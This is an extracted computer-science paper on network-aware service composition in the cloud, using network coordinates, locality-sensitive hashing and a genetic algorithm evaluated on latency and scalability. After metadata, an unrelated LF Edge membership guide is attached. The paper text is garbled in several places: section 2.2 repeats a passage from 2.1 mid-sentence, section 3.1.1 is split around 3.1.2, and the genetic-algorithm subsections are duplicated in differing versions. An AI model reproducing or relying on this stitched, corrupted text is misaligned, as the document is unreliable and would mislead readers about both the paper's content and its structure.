The foundation for our research is in [26]. That paper introduces the QoS-aware composition problem (CP) by formalizing and solved it with (Linear) Integer Programming (IP), which is still a common way to obtain optimal solutions for the CP. A genetic algorithm is used in [18]. Moreover, many efficient heuristic algorithms have been introduced [2, 15, 12, 25], the most recent being in [13, 20]. All these approaches share the same definition of the CP, which ignores the QoS of the network connecting the services. Except for IP which requires a linear function to compute the utility of a workflow, most approaches can be easily augmented with our network-aware QoS computation. As for the recent skyline approach [3] that prunes QoS-wise dominated services, this approach would have to be modified in order to be applicable to our cloud scenario. Even services with the same QoS can give quite different experiences to different users depending on the location of the services and the users; that means QoS-wise dominated services can only be pruned per network location. In such a case, the benefit in our scenario would be quite small when there are many different network locations.
2.2 Advanced QoS
The approaches described above simply aggregate static QoS values defined in SLAs. A QoS evaluation depending on the execution time is described in [14]. In a similar way, our algorithm computes the starting time of the execution of each service, so it can be used to compute time-dependent QoS, as well. SLAs with conditionally defined QoS are described in [11]; these can be considered to be a special case of QoS-wise dominated services, this approach would have to be modified in order to be applicable to our cloud scenario. Even services with the same QoS can give quite different experiences to different users depending on the location of the services and the users; that means QoS-wise dominated services can only be pruned per network location. In such a case, the benefit in our scenario would be quite small when there are many different network locations.
2.3 Network QoS
Many studies, such as [4, 10], deal with point-to-point network QoS, but do not consider services and compositions from SOC. One of the few examples that considers this is [24], which looks at service compositions in cloud computing. The difference between this study and our approach is that instead of a normal composition problem, a scheduling problem is solved where services can be deployed on virtual machines at will. However, it is not clear if that approach can handle the computation of input-dependent QoS and network transfer times, because the authors did not provide a QoS algorithm.
2.4 Network Coordinate System
In the related field of network research, there are many approaches that build network coordinate (NC) systems to estimate the latency between any two points. Two state-of-the-art algorithms, Vivaldi [1] and Phoenix [7], build reliable network coordinate systems in a scalable fashion. Our approach does not depend on a specific network coordinate system; it uses a generic network model based on two-dimensional coordinates that can be fed by NC systems, as in [1], that are based on the Euclidean distance model (which is the most widely used model of NC systems).
2.5 Workflow Scheduling
In the related field of workflow scheduling, a workflow is mapped to heterogeneous resources (CPUs, virtual machines, etc.), and information about the network is sometimes considered, as well. The idea is to achieve a (near-)optimal scheduling minimizing the execution time; this is often done by using greedy heuristic approaches, like HEFT [21]. The reason such greedy algorithms seem to suffice is that only one QoS property (response time) is optimized, and that no QoS constraints have to be adhered to, greatly simplifying the problem. Thus, while the setting is similar to ours, the complexity of the problem is quite different, because we optimize multiple QoS properties under given QoS constraints. In addition, algorithms, like HEFT [21], often work like a customized Dijkstra, which does not scale well in our problem setting, as our evaluation shows.
3. APPROACH
In this section we define our approach. We will present our proposed network model first and then describe our network QoS computation that makes use of this model. After that, we define our proposed network selection algorithm that makes use of the network model, as well.
3.1 Network Model
Our network model consists of two parts: a network coordinate system that forms the basis of our network-aware approach and a locality-sensitive hashing scheme that allows us to find services that are close to certain network locations or network paths.
3.1.1 Network Coordinate System
In our cloud scenario, we face the challenge of dealing with a huge number of services, \( N \). We use existing network coordinate systems in order to compute the latency between any two network locations of services or users. Probing all pairwise link distances would require \( O(N^2) \) measurements,
3.1.2 Locality-sensitive Hashing Scheme
In order for our network-aware selection algorithm to work efficiently, it is not enough to be able to compute the latencies between arbitrary network locations. Additionally, we need to be able to find services that are close to certain network locations or network paths, so that we can efficiently search for service compositions with lower latency. We realize this functionality with a simple locality-sensitive hashing scheme (LSH) that relies on our generic NC system.
giving us exact values, but it would obviously not scale. Also, while services deployed in the cloud might exist for some time (allowing us to cache their latencies), users would frequently show up at new locations, and, thus, they would have to ping all existing services before they could use our approach; this would be prohibitive.
Therefore, we use network coordinate (NC) systems that give us an accurate estimate of the latency between any two network locations; these systems require $O(N)$ measurements in total and just $O(1)$ measurements for adding a new network location. We decided to base our generic NC system on algorithms, like Vivaldi [1], that are based on the Euclidean distance model. While such NC systems might use any number of coordinates, we will consider here a system of two coordinates for the sake of simplicity. Accordingly, each network location (including services and users) is placed in two-dimensional space, as in Fig. 4, and the latency between two locations simply corresponds to their Euclidean distance. This allows our network-aware QoS computation to accurately estimate the QoS of service compositions in the cloud.
2. Compute the Hull of a Network Path
Given a path, e.g. between two network locations, we can find services which perform a certain task and directly lie on the path or its computed outer hull of a certain range.
Algorithm 2: computeHullBetween(loc1, loc2, task, range)
1. locations := compute trajectory between loc1 and loc2
2. foreach loc ∈ locations do
3. buckets := buckets ∪ computeHullOf(loc, task, range)
4. end
5. return buckets
After calling computeHullOf or computeHullBetween, we just need to fetch the services contained in the returned buckets. The computation of these two hulls (that contain both the inner and outer hulls depicted in Fig. 5) allows our network-aware selection algorithm to minimize the latency of service compositions, as we will show in detail later.
3.2 Network-aware QoS Computation
Our network-aware QoS computation consists of two phases. The first phase simulates the execution of the workflow in order to evaluate input-dependent QoS and network QoS. The second phase aggregates these QoS over the workflow structure.
1. Simulated Execution
We assume that a workflow is either given as a directed graph as in Fig. 7a or is converted into one (e.g. from a tree as in Fig. 7b), before we simulate the execution of the workflow according to Alg. 3.
2. QoS Aggregation
In the second phase, we take the obtained QoS for each node and aggregate it in a hierarchical manner (over the tree representation as in Fig. 7b), according...
Figure 7: Different Representations of a Workflow
to the commonly used aggregation rules from [9, 25] that take into account workflow patterns, like parallel (AND) or alternative (OR) executions and loops. Just for the runtime of the workflow, we keep the computation from the first phase, because we cannot compute it with a hierarchical aggregation.
Figure 8: QoS of a Workflow
3. Example If we annotate the services of our previous workflow example with execution durations, and their network links with network delays, as in Fig. 8, our algorithm will produce the values of Fig. 9 for the execution times of the nodes (start/end) in five steps.
```
Algorithm 3: simulateExecution(graph)
1 foreach vertex v ∈ graph do
2 v.execStart = 0
3 v.requiredIncoming = |v.incoming|
4 end
5 while ∃ v ∈ graph . v.requiredIncoming = 0 do
6 pick any v ∈ graph . v.requiredIncoming = 0
7 evaluate QoS of v
8 v.executionEnd = v.execStart + v.qos.runtime
9 foreach w ∈ v.outgoing do
10 netQoS = getNetworkQoS(v, w)
11 duration = v.resultSize / netQoS.transferRate
12 transEnd = v.execEnd + netQoS.delay + trans
13 w.execStart = max{w.execStart, transEnd}
14 w.requiredIncoming -= 1
15 end
16 end
```
Figure 9: Simulated QoS
This simple example shows that hierarchical QoS aggregation alone would not work, because A and B would be aggregated together first. This makes it impossible to compute the correct network QoS, because the maximum of the delay of the incoming and outgoing nodes of (A,B) each would be aggregated as 20, adding up to 40. Actually, however, both paths that go through the incoming and outgoing nodes of (A,B) have a cumulative delay of 30, which is 10 less than the aggregated value.
3.3 Network-aware Selection Algorithm
Our selection algorithm is based on a genetic algorithm which can solve the service composition problem in polynomial time. First, we give a basic overview of genetic algorithms. Then, we introduce the customizations of our algorithm that are tailored to the problem of service composition in the cloud.
3.3.1 Genetic Algorithm
In a genetic algorithm (GA), possible solutions are encoded with genomes which correspond to the possible choices available in the problem. For a service composition, a genome, as in Fig. 11, contains one variable for each task of the workflow, with the possible values being the respective concrete services that can fulfill the task.
```
3.3.2 Initial Population
The initial population is usually generated completely randomly. While it is desirable to keep some randomness for the GA to work properly, adding individuals that are expected to be better than average, has beneficial effects both on the speed of convergence and on the final solution quality. Thus, we generate about a quarter of the initial population with our Localizer heuristic, which is illustrated in Fig. 10. Using our previously built network model, we build a possible initial solution, task by task. In each step, we only select randomly among those services that are close to the network location of the preceding service. In the last step, we also consider that the final result has to be sent back to the user, and select randomly among those services that are close to the network path between the preceding location and the user’s location.
3.3.1 Genetic Algorithm
In a genetic algorithm (GA), possible solutions are encoded with genomes which correspond to the possible choices available in the problem. For a service composition, a genome, as in Fig. 11, contains one variable for each task of the workflow, with the possible values being the respective concrete services that can fulfill the task.
Given a fitness function that evaluates how good a possible solution (individual) is, the GA iteratively finds a near-optimal solution as follows. First, an initial population is generated. Then, in every iteration, individuals are selected, changed either by mutation or crossover operations, and inserted into the new population for the next iteration. This procedure is repeated until a convergence criteria is met, which checks if the fitness of the population has reached a satisfactory level, or if the fitness does not improve anymore.
3.3.2 Initial Population
The initial population is usually generated completely randomly. While it is desirable to keep some randomness for the GA to work properly, adding individuals that are expected to be better than average, has beneficial effects both on the speed of convergence and on the final solution quality. Thus, we generate about a quarter of the initial population with our Localizer heuristic, which is illustrated in Fig. 10. Using our previously built network model, we build a possible initial solution, task by task. In each step, we only select randomly among those services that can fulfill the current task and are close to the network location of their preceding service. In the last step, we also consider that the final result has to be sent back to the user, and select randomly among those services that are close to the network path between the preceding location and the user’s location.
3.3.3 Selection
We select individuals that are to be reproduced via mutation and crossover through a roulette-wheel selection. The probability of an individual with fitness $f_i$ to be chosen out of a population of size $N$ is:
$$ p_i = \frac{f_i}{\sum_{j=1}^{N} f_j} $$
Thus, it is a fitness-proportionate selection ensuring that better individuals have a higher chance of being chosen. There is no need to customize the selection operator to our problem, as it is already reflected in the fitness function.
3.3.4 Elitism
Elitism keeps the top-$k$ individuals seen so far in order to achieve convergence in a reasonable time. We keep the most fit percent of our population in each generation.
3.3.5 Mutation
The purpose of the mutation operator is to change individuals slightly in a random way in order to randomly improve their fitness sometimes and to escape local optima. For this part, we partly use the standard uniform mutation operator which changes each element of the genome with equal probability, and on average changes about one element, as shown in Fig. 12.
Figure 12: Uniform Mutation
In addition, we use our own Localizer mutation operator which does a combination of mutation and local search. First, some parts of the genome are picked randomly. For each picked part, we then try to exchange the chosen service with a constant number of services that are randomly chosen close to the network path between the preceding and following service (graph-wise), as shown in Fig. 13. The best replacement is kept.
Figure 13: Localizer Mutation
This operator speeds up the convergence and improves the solution quality, but the key is to make it not too aggressive, and to only use it for a certain fraction of the mutations. (If used intensively, it could cause the GA to converge too quickly to a local optimum.)
3.3.6 Crossover
The crossover operation combines two individuals (parents) to create improved individuals (offspring) that can draw from the good points of both parents. A standard single-point crossover operator is depicted in Fig. 14. A single point of the genome is chosen, and the new individuals are recombined from both parents around that point.
In an analogous way, two-point crossover, three-point crossover, etc. can be implemented until one has a uniform crossover operator in which every part of the genome of the parents is randomly distributed among the offspring. Our Localizer crossover is a customized uniform crossover operator which, for each part of the genome, chooses a value from its parents with a certain probability. We build one final offspring, task by task, by choosing between the parents $par_1$ and $par_2$. Let $d_{prev_i}$ be the distance to the location of the previous service (or the user at the start), and $d_{next_i}$ be the distance to the location of the following service (or the user at the end). If the following service is not chosen yet, we take the average of the locations of both possible following services from the two parents. The probability that we choose a parent $par_i$ for the current task then is:
$$ p_i = \frac{d_{prev_i} + d_{next_i}}{\sum_{j=1}^{2} d_{prev_j} + d_{next_j}} $$
The effect is that the offspring is a kind of smoothened version of the parents with regard to the network path. This quickly minimizes the latency of our offspring. Note that when the parents are spread in a similar fashion network-wise, our Localizer crossover comes very close to standard uniform crossover. We hence only use our crossover, as it was shown to be effective in our experiments.
4. EVALUATION
In this section we evaluate our approach. First, we describe the setup of our evaluation and the algorithms we want to compare. Then, we evaluate the optimality and scalability of our approach.
4.1 Setup
The evaluation was run on a machine with an Intel Core 2 Quad CPU with 3 GHz. All algorithms were evaluated sequentially and given up to a maximum of 2 GB of memory if needed. We randomly generated a network containing 100,000 unique locations within our two-dimensional coordinate space \([0, 1] \times [0, 1]\). Then, we generated our workflows with randomly inserted tasks and control structures. For each task, we randomly chose a number of those network locations and created services there. Fig. 16 depicts an example of a generated workflow of length 10.
We generated workflows with sizes between 10 and 80 (in steps of 10); these sizes are comparable to those of other recent approaches with 10 [9], up to 50 [25] or 100 [2]. We varied the number of services available per task between 500 and 4000 (in steps of 500), which is considerably more than what most of the previous studies have used (50 [25], 250 [20] or 350 [15]). As mentioned, the reason that we consider such a large number of services per task is that we want to differentiate between instances of the same service that are deployed in different network locations. The QoS attributes of each service were generated according to a uniform distribution.
The network latency \(l\) between two services or between a user and a service was computed from the Euclidean distance \(d\) of their network coordinates as follows:
\[
l(l_{c1}, l_{c2}) = \begin{cases}
0 & \text{if } d(l_{c1}, l_{c2}) < \epsilon \\
20 + 400 \cdot d(l_{c1}, l_{c2}) & \text{otherwise}
\end{cases}
\]
Thus, the latency for two locations is either 0 if they are in a local area network (closer than a small \(\epsilon\)), or between 20 and 420 ms depending on their distance so that a good range of realistic values will be covered.
4.2 Algorithms
We chose several algorithms and compared their optimality and scalability.
**Random.** A simple random algorithm that picks all services at random from the available choices. It shows the expected value of a randomly chosen solution and provides a baseline that more sophisticated algorithms should be able to outperform easily.
**Dijkstra.** An optimal algorithm for the shortest-path problem. It can be used to find the service composition with the lowest latency, against which we can conveniently compare our algorithm. However, Dijkstra cannot be used with QoS constraints or when we have several QoS.
**GA 100.** The normal GA that uses uniform crossover and uniform mutation. The size of the population is 100. We supply this GA with the standard QoS model, which does not model network latency. Accordingly, each service provides not just its execution time, but adds its expected (maximum) latency on top of that. This is the current standard approach for the service composition problem.
**GA* 100.** The same settings as GA, except that we provide GA* with our network model that allows it to accurately predict the network latency. G* represents naïve adoption of the current standard approach to service composition in the cloud.
**GA* 50.** GA* with a population size of only 50. We evaluated GA* 50, as well, but while it was slightly faster than GA* 100, we decided to keep it out of the final evaluations results, because of the bad quality of the solutions it found.
**NetGA 100.** Our network-aware approach as described in Sect. 3. The size of the population is 100.
**NetGA 50.** Our network-aware approach with a population size of only 50. Its results differ from NetGA 100 by only about one or two percentage points, but it requires less runtime, as we will see later. Note that in the following graphs the results of NetGA 50 might sometimes overlie those of NetGA 100, because their results are so close.
The convergence criteria are identical for all GAs: If the fitness of the best individual does not improve by at least one percentage point over the last 50 iterations, the algorithm terminates.
4.3 Optimality
To evaluate the optimality of our approach we plotted the latencies of the compositions found by all algorithms versus an increasing problem size.
4.3.1 Workflow Length
Fig. 17a plots the latency against an increasing workflow size with a fixed number (500) of services available per task. We randomly generated the QoS of the services, and fixed the expected runtime of the generated workflows as 1000 ms without considering network latency. That means for a workflow size of 10, each task in a sequential workflow would have an expected runtime of 100 ms; for 20 sequential tasks, the expected runtime would be 50 ms, etc. Fig. 17a reveals the following findings.
Impact of Network. Even though the expected runtime of the workflow does not change, the optimal latency found by Dijkstra increases linearly with the workflow size, as more network communication is needed.
Impact of Network Model. The latency of the compositions found by GA 100 is pretty much the same as that of the Random approach. Thus, the current standard approach is not effective at finding compositions with low latency at all. This backs up our claims that services should specify their runtime in their SLAs and that approaches should properly account for network latency in order to be effective.
Impact of Network-aware Approach. GA* 100 finds compositions with latencies that get farther from the optimal latency with increasing workflow size: For a workflow size of 10, the compositions are about 1.5 times slower on average, and for a workflow size of 80, they are more than twice as slow. On the other hand, our network-aware approach NetGA manages to keep a good approximation ratio of the optimal solution regardless of the workflow size. The results of NetGA 100 and NetGA 50 are almost identical.
4.3.2 Services per Task
Fig. 17b shows that the optimal latency decreases slightly as the number of services per task increases, as there are more choices available. Except for NetGA which also finds compositions with slightly lower latency, the other GAs do not show a decreasing tendency. Still, the latency does not change much, once there are more than 2000 services available per task.
4.4 Scalability
We evaluated the scalability of our approach under the same settings as for optimality.
4.4.1 Workflow Length
In Fig. 19a, we can see that GA runs considerably faster than GA*. However, the qualities of the solutions found by GA are not much better than those of Random, which takes much less than 1 ms to compute its results. Therefore, it seems that GA is only faster, because it fails to improve the quality of its solutions significantly, thus, converging more quickly to a bad local optimum. GA*, on the other hand, finds solutions with a somewhat reasonable quality (as we saw earlier), but takes a considerable runtime to do so; it takes more than double the runtime of NetGA for a workflow size of 40, and more than six times for a workflow size of 80.
Algorithmic Complexity. In order to summarize the different runtimes from Fig. 19a, we analyzed our empirical results and computed approximations for the algorithmic complexities. We assumed runtimes of the form of $a \cdot n^x$ where $a$ is a constant factor, $n$ stands for the workflow size, and $x$ is a power. First, we found the best combination of $a$ and $x$ that minimizes the square of the error of the representation $\Theta(t)$. Then, we computed $x$ for the tightest upper and lower bound given the previously computed $a$.
Fig. 18 explains why at first GA* is slightly faster than Dijkstra, but then overtakes it at a certain workflow size: GA*'s algorithmic complexity is much higher, only its constant factor is smaller than Dijkstra's. In addition, we can conclude that GA will also overtake Dijkstra for sufficiently big workflows, whereas NetGA will not. We can also see that NetGA is not only much faster than GA*; it also has a much lower algorithmic complexity, which is roughly linear with
<table>
<thead>
<tr>
<th>Algorithm</th>
<th>$a$</th>
<th>$O(t)$</th>
<th>$\Theta(t)$</th>
</tr>
</thead>
<tbody>
<tr>
<td>Dijkstra</td>
<td>32</td>
<td>$n^{1.18}$</td>
<td>$n^{1.19}$, $n^{1.22}$</td>
</tr>
<tr>
<td>GA 100</td>
<td>2.7</td>
<td>$n^{1.62}$</td>
<td>$n^{1.67}$, $n^{1.77}$</td>
</tr>
<tr>
<td>GA* 100</td>
<td>3.4</td>
<td>$n^{1.71}$</td>
<td>$n^{1.72}$, $n^{1.84}$</td>
</tr>
<tr>
<td>NetGA 100</td>
<td>17</td>
<td>$n^{0.95}$</td>
<td>$n^{0.97}$, $n^{1.03}$</td>
</tr>
<tr>
<td>NetGA 50</td>
<td>10</td>
<td>$n^{0.87}$</td>
<td>$n^{0.90}$, $n^{0.92}$</td>
</tr>
</tbody>
</table>
Figure 18: Empirical Algorithmic Complexity ($a \cdot n^x$) (n := Workflow Length; 500 Services per Task)
regard to the workflow size (as far as we can observe it in our experiments). This is due to the good convergence behaviour of NetGA which effectively finds compositions with low latency. Furthermore, if we are willing to sacrifice one or two percentage points of solution quality, we can use NetGA 50 instead of NetGA 100 and get even shorter runtime and smaller algorithmic complexity.
4.4.2 Services per Task
The runtime of Dijkstra significantly increases, as the number of services per task increases. Thus, Dijkstra quickly becomes infeasible for practical purposes; it takes 10 seconds for 1000 services per task, and almost 100 seconds for 3000 services per task. Also note that the runtimes of all GAs increase by only about 10 to 15%, so all of them scale well in this regard in our scenario. For the same workflow size, GA* 100, NetGA 100 and NetGA 50 maintain runtime ratios of about 4:2:1 regardless of the number of services per task.
5. CONCLUSION
In this paper we described a network-aware approach to service composition in a cloud, consisting of a network model, a network-aware QoS computation, and a network-aware selection algorithm. We showed that our approach achieves near-optimal solutions with low latency, and that it has roughly linear algorithmic complexity with regard to the problem size. It beats current approaches for which the approximation ratio of the optimal latency worsens with increasing problem size, and which have algorithmic complexity between \( n^{1.6} \) and \( n^2 \). This means that our network-aware approach scales comparatively well in situations where the network has a significant impact on the QoS of service compositions. Our approach would facilitate service compositions in settings where dozens of services each get deployed on dozens or even hundreds of instances in clouds worldwide.
As future work, we would like to investigate how our approach fares in scenarios with multiple QoS where low latencies are beneficial for the user, but not the top priority, or might even conflict with other QoS. In some cases, some fine-tuning might be needed to always beat the standard approaches. Furthermore, we plan to conduct real-world experiments in a distributed setting in order to test how well our network model can cope in practice, e.g. when the network latency changes dynamically due to factors such as congestion. Additionally, we would like to evaluate our approach with other, more complex coordinate systems (especially, three-dimensional ones).
6. ACKNOWLEDGEMENTS
We would like to thank Florian Wagner for the fruitful discussions and the detailed feedback that helped us improve our approach. Adrian Klein is supported by a Research Fellowship for Young Scientists from the Japan Society for the Promotion of Science.
7. REFERENCES
|
{"Source-Url": "http://www.irantahgig.ir/wp-content/uploads/40006.pdf", "len_cl100k_base": 8142, "olmocr-version": "0.1.53", "pdf-total-pages": 10, "total-fallback-pages": 0, "total-input-tokens": 33320, "total-output-tokens": 10535, "length": "2e12", "weborganizer": {"__label__adult": 0.00035500526428222656, "__label__art_design": 0.0004897117614746094, "__label__crime_law": 0.0004544258117675781, "__label__education_jobs": 0.0011568069458007812, "__label__entertainment": 0.0001589059829711914, "__label__fashion_beauty": 0.00021457672119140625, "__label__finance_business": 0.0007777214050292969, "__label__food_dining": 0.00045680999755859375, "__label__games": 0.0006966590881347656, "__label__hardware": 0.0014028549194335938, "__label__health": 0.00099945068359375, "__label__history": 0.0004563331604003906, "__label__home_hobbies": 0.00010877847671508788, "__label__industrial": 0.0005030632019042969, "__label__literature": 0.0005588531494140625, "__label__politics": 0.0003848075866699219, "__label__religion": 0.0005092620849609375, "__label__science_tech": 0.2646484375, "__label__social_life": 0.0001271963119506836, "__label__software": 0.02447509765625, "__label__software_dev": 0.69970703125, "__label__sports_fitness": 0.00028634071350097656, "__label__transportation": 0.0006861686706542969, "__label__travel": 0.00027179718017578125}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 42831, 0.05356]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 42831, 0.22802]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 42831, 0.91722]], "google_gemma-3-12b-it_contains_pii": [[0, 3389, false], [3389, 8536, null], [8536, 14083, null], [14083, 17241, null], [17241, 22421, null], [22421, 25999, null], [25999, 30315, null], [30315, 34626, null], [34626, 38691, null], [38691, 42831, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3389, true], [3389, 8536, null], [8536, 14083, null], [14083, 17241, null], [17241, 22421, null], [22421, 25999, null], [25999, 30315, null], [30315, 34626, null], [34626, 38691, null], [38691, 42831, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 42831, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 42831, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 42831, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 42831, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 42831, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 42831, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 42831, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 42831, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 42831, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 42831, null]], "pdf_page_numbers": [[0, 3389, 1], [3389, 8536, 2], [8536, 14083, 3], [14083, 17241, 4], [17241, 22421, 5], [22421, 25999, 6], [25999, 30315, 7], [30315, 34626, 8], [34626, 38691, 9], [38691, 42831, 10]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 42831, 0.03431]]}
|
olmocr_science_pdfs
|
2024-12-10
|
2024-12-10
|
f7fd6459fd55a53bfda620aef65b33970547b702
|
Prime Guide to LF Edge For Current and New Members
Getting Started Guide
We are creating a common framework for hardware and software standards and best practices critical to sustaining current and future generations of IoT and edge devices.
LF Edge References
Key Contacts
Arpit Joshipura, Executive Sponsor
ajoshipura@linuxfoundation.org
Mike Woster, Membership
mwoster@linuxfoundation.org
Aaron Williams, Developer Advocate
aaron@lfedge.org
Jill Lovato, PR and Marketing
jlovato@linuxfoundation.org
Eric Ball, IT Operations
support.linuxfoundation.org
Key Resources
Web Site https://www.lfedge.org/
Wiki https://wiki.lfedge.org/
Mail Lists https://lists.lfedge.org/
Slack https://slack.lfedge.org/
Technical Advisory Council (TAC):
https://wiki.lfedge.org/pages/viewpage.action?pageId=1671298
Outreach Committee/Marketing:
https://lists.lfedge.org/g/outreach-committee
LF Edge Elected Leadership
**Governing Board**
- Chair: Jason Shepherd, ZEDEDA
- General Member Representatives:
- Cole Crawford, Vapor IO
- Jim Xu, Zenlayer
- Keith Steele, IOTech Systems
**Technical Advisory Council (TAC)**
- Chair: Jim St. Leger, Intel
**Outreach / Marketing Committee**
- Chair: Balaji Ethirajulu, Ericsson
LF Edge Project Leadership
Akaino
› TSC Chair / TAC Voting Member: Tina Tsou, Arm
› TSC Vice-Chair: Oleg Berzin, Equinix
Baetyl
› TSC Chair: Leding Li, Baidu
EdgeX Foundry
› TSC Chair: Jim White, IOTech
› TAC Voting Member: Henry Lau, HP Inc.
EVE
› TSC Chair: Erik Nordmark, ZEDEDA
Fledge
› TSC Chair: Mark Riddoch, Dianomic
Home Edge
› TSC Chair: Myeonggi Jeong (MJ), Samsung
Open Horizon
› TSC Chair: Joe Pearson, IBM
Secure Device Onboard
› TSC Chair: Rich Rodgers, Intel
State of the Edge
› TSC Chair: Matthew Trifiro, Vapor IO
› TSC Co-Chair: Jacob Smith, Equinix Metal
Introducing LF Edge
LF Edge Projects
Stage 1: At Large Projects
- Baetyl, Secure Device Onboard
Stage 2: Growth Projects
- EVE, Fledge, Home Edge, Open Horizon, State of the Edge
Stage 3: Impact Projects
- Akraino, EdgeX Foundry
Distributed Devices and Systems
- MCU-based devices
- Embedded compute
- Smartphones, PCs, ruggedized IoT gateways and servers in accessible to semi-secure areas
- Servers in secure on-prem data centers, MDCs
Buildings / Factories / Smart Homes
- Access Networks
- Aggregation Hubs/COs
- Regional Data Centers
Last Mile Networks
- Server-based compute at Telco Network and Edge Exchange Sites
- Server-based compute at Regional Telco and Direct Peering Sites
- Servers in traditional cloud data centers
Infrastructures
- Constrained Device Edge
- Smart Device Edge
- On-Prem Data Center Edge
User Edge
- Dedicated, Operated
Service Provider Edge
- Shared, XaaS
LF Edge – umbrella for Edge Projects
STAGE 3: IMPACT PROJECTS
AKRAINO
Aims to create an open source software stack that supports high-availability cloud services optimized for edge computing systems and applications.
EDGE X FOUNDRY
Highly flexible open source software framework that facilitates interoperability between heterogeneous devices and applications at the IoT Edge, along with a consistent foundation for security and manageability regardless of use case.
LF Edge – New umbrella for Edge Projects
STAGE 2: GROWTH PROJECTS
An open abstraction engine that simplifies the development, orchestration and security of cloud-native applications on distributed edge hardware. Supporting containers, VMs and unikernels, EVE provides a flexible foundation for Industrial and Enterprise IoT edge deployments with choice of hardware, applications and clouds.
Fledge is an open source framework and community for the Industrial Edge. Architected for rapid integration of any IIoT device, sensor or machine all using a common set of application, management and security REST APIs with existing industrial "brown field" systems and clouds.
Interoperable, flexible, and scalable edge computing services platform with a set of APIs that can also run with libraries and runtimes.
Open Horizon is a platform for managing the service software lifecycle of containerized workloads and related machine learning assets. It enables management of applications deployed to distributed webscale fleets of edge computing nodes and devices without requiring on-premise administrators.
State of the Edge is an open source research and publishing project with an explicit goal of producing original research on edge computing, without vendor bias. The State of the Edge seeks to accelerate the edge computing industry by developing free, shareable research that can be used by all.
LF Edge – New umbrella for Edge Projects
STAGE 1: AT LARGE PROJECTS
Baetyl offers a general-purpose platform for edge computing that manipulates different types of hardware facilities and device capabilities into a standardized container runtime environment and API, enabling efficient management of application, service, and data flow through a remote console both on cloud and on prem.
Secure Device Onboard (SDO) is an automated “Zero-Touch” onboarding service.
Premier Members
altran arm AT&T Baidu Charter DELL
EQUINIX Ericsson Fujitsu FutureWei HP Huawei IBM
intel Nokia NTT OSIsoft Radisys redhat
Samsung Tencent WD Western Digital wipro ZEDEDA
THE LINUX FOUNDATION
LF Edge: Key Takeaways
1. Harmonizing Open Source Edge Communities across IOT, Enterprise, Cloud & Telecom
2. Keeping LF Edge Open & Interoperable with
› Hardware, Silicon, Cloud, OS, Protocol independence
› Bringing the best of telecom, cloud and enterprise – location, latency & mobility
› In collaboration with Consortiums/SDO (IIC, AECC, OEC, ETSI)
3. Hosted by the Linux Foundation similar to other Open Source Communities like CNCF (Kubernetes), LF Networking (ONAP) and many more.
LF Edge Governance
Board Committees (As Needed)
- Audit & Finance
- End User Advisory Group
- Compliance & Verification
LF Edge Governing Board
- Strategy & Priorities
- Budget
- Marketing Strategy & Events
- Legal & overall governance
Technical Advisory Council (TAC)
- Akraino TSC
- EdgeX TSC
- Home Edge TSC
- Project EVE TSC
- Fledge TSC
Developer Communities
Outreach Committee
- WG project x
- WG project y
Annual Marketing Plan
- PR
- Events
- Content/Web
- Branding
- Market Development
External Focus (SDO/OSS)
- Vertical Solutions focus (eg O&G, Retail, Industrial/Manuf, Home, Telecom, etc)
- Cross-project collaboration
- New Project Induction
- Developer Voice to GB
# LF Edge Membership Structure, broad base – lower dues
**Summary**
1. Premier Member, Annual cost for LF Edge $50,000 (similar to Akraino)
2. Simplified EdgeX general category to match LF levels
3. Dues for existing projects will be credited towards LF Edge or any LF projects.
<table>
<thead>
<tr>
<th>Level</th>
<th>Not Yet LF Member</th>
<th>Already LF Member</th>
</tr>
</thead>
<tbody>
<tr>
<td>Premier</td>
<td>$70,000</td>
<td>$50,000</td>
</tr>
<tr>
<td>General</td>
<td>$45,000 (USD) 5,000 and above</td>
<td>$25,000 (USD) 5,000 and above</td>
</tr>
<tr>
<td></td>
<td>$30,000 (USD) From 500 to 4,999</td>
<td>$15,000 (USD) From 500 to 4,999</td>
</tr>
<tr>
<td></td>
<td>$20,000 (USD) From 100 to 499</td>
<td>$10,000 (USD) From 100 to 499</td>
</tr>
<tr>
<td></td>
<td>$7,500 (USD) Up to 99</td>
<td>$2,500 (USD) Up to 99</td>
</tr>
</tbody>
</table>
*LF Edge membership also requires companies to corporate members of The Linux Foundation (similar to Akraino and EdgeX Foundry). A discount of $5,000 to $20,000 is available for existing Linux Foundation members who join LF Edge.*
LF Edge Membership – the benefits
Premier
Influence Strategic Direction of LF Edge & its projects (as a Voting GB member)
- Budget Influence/approval, how and where the project spends money.
- Direct Influence on messaging, developer events, training
- Influence the marketing, messaging, and positioning to best represent the project for your uses
- Marketing Committee Voting Seat
Direct Interaction with Leadership – within LF and across peers
- Premium access to the project ED/VP to understand business goals
- Premium access to the Operations staff, IT, Marketing, Operations, Leadership
- Participate in any Cross project strategy discussions on harmonization and future direction of Edge
- LF Leadership support to Keynote member events, participate in outreach (e.g., roadshows, events, conference meet ups etc.)
Technical and Roadmap Direction Influence (through the technical community)
- TAC (Technical Advisory Council) voting seat
- Find like-minded companies/developers to build a coalition to get an idea accepted and prioritized by the community
- Aid the developers in actions they can take to improve their standing, position, and influence in the community, etc.
Brand Momentum – ability to show Leadership in Open Source which drives end user adoption and talent.
- Open Source Brand Affinity, prove to your customers that you are a leader in the project, hire talented software engineers
General
Learning and Engaging to create the largest Open Source Edge shared technology roadmap
- Work together across company lines and industries
- Participate in elected board seat process
